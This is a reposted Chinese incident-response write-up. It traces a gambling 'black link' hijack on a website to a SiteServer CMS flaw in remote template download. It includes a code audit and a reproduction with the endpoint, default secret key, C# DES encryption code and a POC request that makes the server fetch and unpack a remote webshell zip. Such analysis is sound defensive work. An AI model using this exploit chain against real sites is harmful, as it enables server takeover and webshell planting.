简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

栏目: 服务器 · 发布时间: 5年前

内容简介:小明同学在某个神清气朗的周六接到来自上级的应急任务,本次任务详情为对某个网站黑链安全攻击事件进行溯源,找到攻击路径,找出幕后真凶,然而,一场意外的事情才刚刚开始……通过收到的任务清单,了解到本次安全事件属于黑链攻击事件,通常主要是通过百度等搜索引擎查看快照等发现存在该黑链,但是直接访问黑链链接却没有任何内容  通过客户在网关出口架构的某安全厂商的下一代防火墙,客户及时发现黑链现象并反馈出来

*本文原创作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

小明同学在某个神清气朗的周六接到来自上级的应急任务,本次任务详情为对某个网站黑链安全攻击事件进行溯源,找到攻击路径,找出幕后真凶,然而,一场意外的事情才刚刚开始……

0×01 应急响应分析

0x0a 事件表现

通过收到的任务清单,了解到本次安全事件属于黑链攻击事件,通常主要是通过百度等搜索引擎查看快照等发现存在该黑链,但是直接访问黑链链接却没有任何内容  通过客户在网关出口架构的某安全厂商的下一代防火墙,客户及时发现黑链现象并反馈出来 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 通过在百度搜索引擎中使用google hacking搜索方式,来找到百度爬虫爬取到的该网站的黑链快照文件,再次确认黑链现象   简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

而在直接访问该url时则直接跳转到正常页面,通过简单的信息,可以确定,应该是在服务器端写入Referer UA劫持,将来自于百度等搜索引擎的访问劫持跳转到黑链,而直接输入url访问则不进行劫持,要想使用此种黑链手法,必须要拿下服务器才行,意味着客户服务器肯定植入了后门文件

0x0b 事件分析

通过上述事件表现,基本上可以判断出攻击者攻击的方式,因此到被攻击的服务器,拿上D盾一顿扫,可以看到出现很多后门文件,最近的一次是在2018-10-04,距离本次安全应急也是最早的,与百度快照中的时间保持一致,基本上可以确定是这一次攻击后,写了黑链劫持文件,导致此次黑链安全事件 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 根据经验在网站目录下搜索spider或者黑链链接url等标志字符,确定黑链的文件,可以看到在该文件中对来源于sougou、haosou、so、baidu等搜索引擎的UA,就会劫持跳转到博彩网站,因此将该文件删除就能够恢复网站的正常 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 再对事件处置完毕,进行日志分析,根据之前掌握到的时间以及webshell后门文件的名称include.aspx、aspdm.txt(恶意代码在aspdm.txt中,使用include.aspx包含执行),对日志进行筛选(IIS日志可能存在8个小时的误差,即访问时间为14时,日志记录可能在6时),经过一个多小时的排查,发现有一个ajaxotherservice.aspx此服务接口存在可疑,攻击者在攻击前频繁访问此URL接口 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 将服务器上的webshell后门文件先备份样本后删除,访问该可疑链接 http://www.xxx.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 ,模拟恶意攻击者行为,发现浏览器会返回信息为站点模板下载成功 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 之后在服务器发现模板文件目录下果然会自动生成一个后门zip并且会自解压,由于使用zip因此很多防火墙无法检测拦截该文件是否为恶意文件,造成被轻松植入webshell 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

到此,就发现了后门webshell的攻击路径,通过远程下载模板的方式,将后门webshell打包成压缩文件zip,而压缩文件会自动解压,所以造成aspx文件可以执行,此过程类似于tomcat上传war包

0×02 代码审计

0x0a 漏洞概述

通过了解,得知被攻击的网站使用的是siteserver cms,为开源免费cms框架,官网 https://www.siteserver.cn/ ,捕获到的“0 day”是通过远程模板下载getshell,漏洞缺陷是由于后台模板下载位置未对用户权限进行校验,且 ajaxOtherService中的downloadUrl参数可控,导致getshell,目前经过测试发现对5.0版本包含5.0以下通杀

0x0b 漏洞分析

可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模块,使用notepad++搜索到该功能模块如下。发现在ajaxOtherService.cs文件中确实存在函数调用接口SiteTemplateDownload(stringdownloadUrl, string directoryName, string userKeyPrefix) 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

其中downloadUrl就是远程文件的URL地址,directoryName是下载到本地之后命名的模板目录,userKeyPrefix是加密的密钥,继续审核此文件,整理出整个函数调用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函数负责加载整个页面,然后通过request[‘type’]获取到不同的操作类型,如果获取到的type为TypeSiteTemplateDownload ,就会执行其request参数值的相关功能,其中最重要的一步操作就是此时先调用了DecryptStringBySecretKey函数将downloadurl先进行了解密,之后调用SiteTemplateDownload函数进行模板下载并自解压。 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

在AjaxOtherService类中通过常量中已经定义了TypeSiteTemplateDownload = “SiteTemplateDownload”; 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

因此当type等于SiteTemplateDownload时就会调用SiteTemplateDownload函数,逻辑非常的清楚,接下来分析downloadurl到底是怎么解密的,这也是本次审计的重点,毕竟其他逻辑非常清楚了,通过调用TranslateUtils.DecryptStringBySecretKey函数进行解密,通常开发习惯就是类名与文件名基本保持一致,因此很容易找到该文件 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

通过分析源代码可知,这里将DecryptStringBySecretKey函数进行重载,在调用DecryptStringBySecretKey(string inputString)时候,实际上调用的是下面带secretKey的同名函数DecryptStringBySecretKey(stringinputString, string secretKey),分析该函数其中secretKey是取自WebConfigUtils.SecretKey的值,通过审计WebConfigUtils.cs文件可知,该值是从配置文档web.config中取得对应字段值。SecretKey的值可以在web.config文件中找到。

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

解密函数DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的参数值同样为WebConfigUtils.SecretKey的值,继续分析该函数,可以看到先进行了混淆字符,将字符“+=&?’/”替换成DES加密后的密文。 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

这里使用 python 脚本去除混淆,恢复原DES密文。 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

程序去除混淆之后调用DES模块并实例化encryptor对象调用DesDecrypt解密函数,在实例化对象时将inputString和secreKey传入。使用菜鸟教程 http://www.runoob.com/ 调试运行下核心的加解密代码传入参数_encryptKey和_inputString加密代码调试如下_inputString传入任意黑客构造的地址,_encryptKey传入密钥。

using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "http://127.0.0.1:99/txt2.zip";
        var _outString = ""; var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try{ 
           var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Encoding.UTF8.GetBytes(_inputString); 
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);     cs.Write(inputByteArray, 0, inputByteArray.Length);
         cs.FlushFinalBlock();
          _outString = Convert.ToBase64String(ms.ToArray()); 
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

执行之后获取其加密downloadurl如下: ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=, 使用python代码混淆该url,得到最后利用的downloadurl 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

混淆之后的downloadurl为:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0, 解密的步骤与加密相反,首先将混淆后的下载地址去除混淆。去混淆py代码去混淆后密文如下:

ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=,

解密函数调试如下,传入_inputString和密钥 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

0×03  漏洞复现

假设downloadurl地址为(实际利用是黑客的公网IP地址): http://127.0.0.1:99/txt2.zip 安装后的secretKey:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5加密后的downloadurl:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=

混淆后传入参数中的downloadurl:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0可以构造如下的POC实现远程文件下载,

获取webshell/Ajax/ajaxOtherService.aspxtype=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=txt2 在浏览器访问自己搭建的测试网站使用url,发现提示模板下载成功

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 在服务器上查看,发现自解压该后门zip 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞 然后访问该后门即可 简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

0×04 总结

服务器黑链事件,往往大多数都是通过恶意黑客手中的未公开的漏洞,批量扫描攻击,植入webshell,以及黑链。作为一个安全从业人员,要在对坑中学习其攻击手法,从中找到解决方式,维护世界和平。

*本文原创作者:1u0hun,本文属FreeBuf原创奖励计划,未经许可禁止转载


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

iGen

iGen

Jean M. Twenge PhD / Atria Books / 2017-8-22 / USD 27.00

A highly readable and entertaining first look at how today’s members of iGen—the children, teens, and young adults born in the mid-1990s and later—are vastly different from their Millennial predecesso......一起来看看 《iGen》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具